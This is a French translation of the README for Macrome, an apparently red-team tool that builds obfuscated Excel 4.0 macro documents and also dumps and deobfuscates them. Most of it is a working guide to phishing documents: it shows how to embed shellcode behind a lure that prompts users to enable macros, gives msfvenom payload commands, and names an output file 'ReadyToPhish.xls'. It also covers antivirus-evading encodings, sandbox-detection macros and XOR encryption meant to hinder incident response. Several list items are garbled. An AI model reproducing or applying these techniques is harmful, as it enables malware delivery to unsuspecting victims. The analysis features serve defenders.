
Lecteur/Écrivain de documents macro Excel pour les red teamers et analystes
Un lecteur/écrivain de documents macro Excel pour les équipes rouges et les analystes. Les articles de blog décrivant ce que fait réellement cet outil sont disponibles ici et ici.

Clonez ou téléchargez ce dépôt, l'outil peut ensuite être exécuté en utilisant dotnet – par exemple :
dotnet run -- build --decoy-document Docs\decoy_document.xls --payload Docs\popcalc.bin
ou
dotnet build
cd bin/Debug/netcoreapp2.0
dotnet Macrome.dll deobfuscate --path obfuscated_document.xls
Notez qu'une version 5.0+ de dotnet est nécessaire pour que cela fonctionne comme configuré – elle peut être obtenue sur https://dotnet.microsoft.com/download/dotnet/5.0.
Des versions binaires de l'outil qui ne nécessitent pas dotnet et contiennent un exécutable peuvent être trouvées dans la section Releases pour Windows, OSX et Linux.
Exécutez Macrome soit en utilisant dotnet run depuis le répertoire de la solution, soit dotnet sur le binaire Macrome compilé. Il existe trois modes de fonctionnement pour Macrome – le mode Build, le mode Dump et le mode Deobfuscation.
Exécutez Macrome avec la commande build pour générer un document Excel contenant une feuille de macro obfusquée en utilisant un document leurre fourni et une charge utile macro. dotnet Macrome.dll build -h affichera les instructions d'utilisation complètes.
Par exemple, pour construire un document en utilisant le document leurre path/to/decoy_document.xls et du shellcode binaire x86 stocké dans path/to/shellcode.bin, exécutez dotnet Macrome.dll build --decoy-document path/to/decoy_document.xls --payload /path/to/shellcode.bin. Cela générera un document XLS 2003 qui, après avoir été ouvert et après avoir cliqué sur le bouton "Activer le contenu", exécutera le shellcode de shellcode.bin.
Le reste de la documentation expliquera chaque drapeau/fonction en détail, mais pour l'instant, le "dernier cri" que Macrome propose peut être obtenu en exécutant :
Macrome build --decoy-document decoy_document.xls --payload beacon.bin --payload64-bit beacon64.bin --payload-method Base64 --method ArgumentSubroutines --password VelvetSweatshop --preamble preamble.txt --output-file-name ReadyToPhish.xls
Générez d'abord un document Excel "leurre" de base qui contiendra le contenu que les utilisateurs doivent voir. Cela devrait être une sorte d'appât qui convainc les utilisateurs de cliquer sur le bouton "Activer les macros" affiché dans Excel. Quelques exemples de création d'appât "dernier cri" sont disponibles sur https://inquest.net/blog/2020/05/06/ZLoader-4.0-Macrosheets-. Une fois cette feuille créée, enregistrez le document sous le type Classeur Excel 97-2003 (*.xls) plutôt que le format plus récent Classeur Excel (*.xlsx). Un exemple de document leurre est inclus dans /Docs/decoy_document.xls. Notez que si vous utilisez l'obfuscation XOR pour protéger votre document, vous NE POUVEZ PAS actuellement ajouter d'image à votre leurre.
Ensuite, générez une charge utile shellcode à fournir à l'outil. L'exemple de charge utile binaire (qui ouvre la calculatrice) a été généré avec msfvenom en utilisant les paramètres suivants :
msfvenom -a x86 -b '\x00' --platform windows -p windows/exec cmd=calc.exe -e x86/alpha_mixed -f raw EXITFUNC=thread > popcalc.bin
Les charges utiles 64 bits sont également prises en charge. L'exemple de charge utile 64 bits, popcalc64.bin, a été généré avec la commande :
msfvenom -a x64 -b '\x00' --platform windows -p windows/x64/exec cmd=calc.exe -e x64/xor -f raw EXITFUNC=thread > popcalc64.bin
Cette charge utile peut ensuite être intégrée en exécutant la commande :
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload popcalc.bin --payload64-bit popcalc64.bin
Actuellement, les charges utiles 64 bits nécessitent qu'une charge utile x86 soit également fournie. Si cela ne pose pas de problème, vous pouvez simplement spécifier des données factices pour le drapeau de charge utile x86.
Il existe un support éventuel pour intégrer directement des assemblies .NET dans le document, mais si vous souhaitez le faire maintenant, je vous suggère d'utiliser EXCELntDonut.
À partir de Macrome 0.5.0 et plus, toutes les charges utiles seront encodées en base64, donc votre charge utile pourra contenir n'importe quelle séquence d'octets (y compris les octets nuls).
Si vous souhaitez intégrer un exécutable .NET avec Macrome, je suggère d'utiliser Donut avec la commande donut.exe -a 3 -b 1 -z 1 executableToEmbed.exe, puis d'intégrer la charge utile résultante comme vos charges utiles 32 bits et 64 bits.
Une autre alternative solide est Amber qui a très bien fonctionné pour intégrer des binaires Go assez volumineux.
Si pour une raison quelconque vous souhaitez utiliser le mode d'encodage de charge utile hérité d'avant Macrome 0.5.0, utilisez le drapeau --payload-method avec SheetPackingMethod. Notez qu'en mode hérité, l'utilisation d'une charge utile principalement alphanumérique réduira la taille du fichier macro généré car il est plus facile d'exprimer des lettres et des chiffres sous forme de macro que d'ajouter des appels de fonction CHAR de manière répétée comme =CHAR(123)&CHAR(124)&CHAR(125)... etc. Mais l'outil devrait également pouvoir gérer une charge utile binaire totalement non imprimable.
Similaire à l'utilisation d'une charge utile binaire, un document leurre doit d'abord être généré. Ensuite, un fichier texte contenant les macros à exécuter doit être créé. Les macros doivent avoir des colonnes séparées par des caractères ; et des lignes séparées par des sauts de ligne. Actuellement, le contenu des macros spécifiées sera écrit et exécuté à partir de A1 – un support futur sera ajouté pour permettre de spécifier l'emplacement de départ. Des exemples de macros se trouvent dans /Docs/macro_example.txt et /Docs/multi_column_macro_example.txt.
Enfin, exécutez la commande :
dotnet Macrome.dll build --decoy-document decoy_document.xls --payload macro-example.txt --payload-type Macro
Notez l'utilisation du drapeau payload-type défini sur Macro.
Vous pouvez générer vous-même une macro, ou utiliser l'excellent outil EXCELntDonut pour en créer une pour vous.
Celles-ci seront détaillées dans un prochain article de blog, mais Macrome peut désormais encoder les charges utiles macro de trois manières différentes. La plupart d'entre elles ne sont toujours pas détectées par les antivirus – mais expérimentez avec vos charges utiles pour voir ce qui fonctionne le mieux.
IF et SET.NAME. Cela n'a pas encore été abusé par des auteurs de maldoc célèbres, il est donc peu probable que cela déclenche une alerte antivirus pour l'instant.ROUND.Spécifiez un encodage en utilisant le drapeau method lors de la construction – par exemple, pour utiliser l'encodeur CharSubroutine :
dotnet Macrome.dll b --decoy-document decoy_document.xls --method CharSubroutine --payload popcalc.bin --output-file-name CharSubroutine-Macro.xls
Parfois, vous pouvez souhaiter que certaines macros s'exécutent AVANT le code de la charge utile. Cela est utile lorsque vous ajoutez des macros pour l'évasion des sandbox et/ou la vérification que votre charge utile s'exécute sur le bon hôte.
Le format des fichiers de préambule est exactement le même que celui utilisé avec payload-type Macro, mais il ne prend en charge qu'une seule colonne. Par exemple, vous pourriez avoir un préambule de :
=IF(GET.WORKSPACE(13)<770, CLOSE(FALSE),)
=IF(GET.WORKSPACE(14)<390, CLOSE(FALSE),)
=IF(GET.WORKSPACE(19),,CLOSE(FALSE))
=IF(GET.WORKSPACE(42),,CLOSE(FALSE))
Cela vérifierait les valeurs de résolution d'écran, la présence d'une souris et la capacité à jouer du son. Si l'un de ces tests échouait, l'application se fermerait avant d'exécuter le contenu principal de la charge utile.
De plus, si vous souhaitez qu'une macro préambule s'évalue IMMÉDIATEMENT, plutôt qu'après le décompactage du reste des macros, vous pouvez préfixer une commande avec %%%%%. Par exemple :
%%%%%=IF(GET.WORKSPACE(13)<770, HALT(),)
%%%%%=IF(GET.WORKSPACE(14)<390, HALT(),)
%%%%%=IF(GET.WORKSPACE(19),,HALT())
%%%%%=IF(GET.WORKSPACE(42),,HALT())
Cela est utile pour minimiser le nombre de commandes XLM exécutées avant de tuer le document et peut aider à réagir plus immédiatement à la présence d'indicateurs de sandbox.
Macrome 0.3.0+ prend en charge la protection par mot de passe des documents en utilisant l'obfuscation XOR, un mode de chiffrement hérité de versions BEAUCOUP plus anciennes d'Office. Ce mode de chiffrement est souvent non pris en charge par les outils d'IR et peut aider à protéger le contenu du document contre l'inspection.
Excel a un mot de passe "par défaut" de VelvetSweatshop, qui vous permettra de chiffrer le contenu du document tout en le déchiffrant automatiquement lors de l'ouverture. C'est la manière "idéale" d'utiliser l'obfuscation XOR dans un contexte offensif. Macrome tentera automatiquement d'utiliser ce mot de passe lors de la désobfuscation ou du dump d'un document.
Pour utiliser cette fonctionnalité, ajoutez simplement --password <motDePasseAChiffrer> à votre commande de construction.
Exécutez Macrome avec la commande dump pour afficher les enregistrements BIFF8 les plus pertinents pour des documents arbitraires. Cette fonctionnalité est similaire à la fonction de dump de macro de olevba, mais elle offre un traitement plus complet des entrées Ptg de cas particuliers pour garantir que le format soit aussi proche que possible des véritables entrées FORMULA d'Excel. C'est ce que j'ai utilisé pour déboguer certains documents étranges que j'ai générés en créant cet outil, c'est donc relativement robuste. Je suis sûr qu'il existe encore de nombreux cas particuliers non pris en charge, donc si vous trouvez un document dont le contenu n'est pas correctement dumpé, veuillez ouvrir un ticket et partager le document sous forme de fichier zip.
La commande dump nécessite uniquement un argument path pointant vers le fichier cible. Un exemple d'invocation est :
dotnet Macrome.dll dump --path docToDump.xls
La plupart des drapeaux de la commande dump sont destinés au débogage, mais dump-hex-bytes peut être utile aux utilisateurs qui souhaitent voir les charges utiles d'octets individuelles pour les enregistrements pertinents. Cela est similaire à la fonctionnalité de BiffView, bien que seules les entrées spécifiques aux maldocs soient affichées par défaut.
Exécutez Macrome avec la commande deobfuscate pour prendre un document XLS binaire obfusqué et tenter d'inverser plusieurs comportements anti-analyse. dotnet Macrome.dll deobfuscate -h affichera les instructions d'utilisation complètes. Actuellement, par défaut, ce mode :
Lbl qu'Excel interprétera comme des entrées Auto_Open malgré leur nom ne correspondant pas à cette chaîne.Par exemple, pour désobfusquer un fichier macro XLS 2003 malveillant situé dans path/to/obfuscated_file.xls, exécutez dotnet Macrome.dll deobfuscate --path path/to/obfuscated_file.xls. Cela générera une copie du fichier obfusqué qui sera plus facile à analyser manuellement ou avec des outils.
NOTE : Cela ne fait pas encore grand-chose, cela vise principalement à démontrer comment l'utilisation de la bibliothèque b2xtranslator modifiée peut aider à automatiser la désobfuscation. Des fonctionnalités plus utiles arrivent bientôt.
Un grand merci à toutes les épaules sur lesquelles j'ai pu m'appuyer pour écrire ceci.
b2xtranslator ainsi que les gens d'EvolutionJobs qui l'ont mise à jour et portée vers dotnet. Le code utilisé ici a été initialement obtenu depuis https://github.com/EvolutionJobs/b2xtranslator.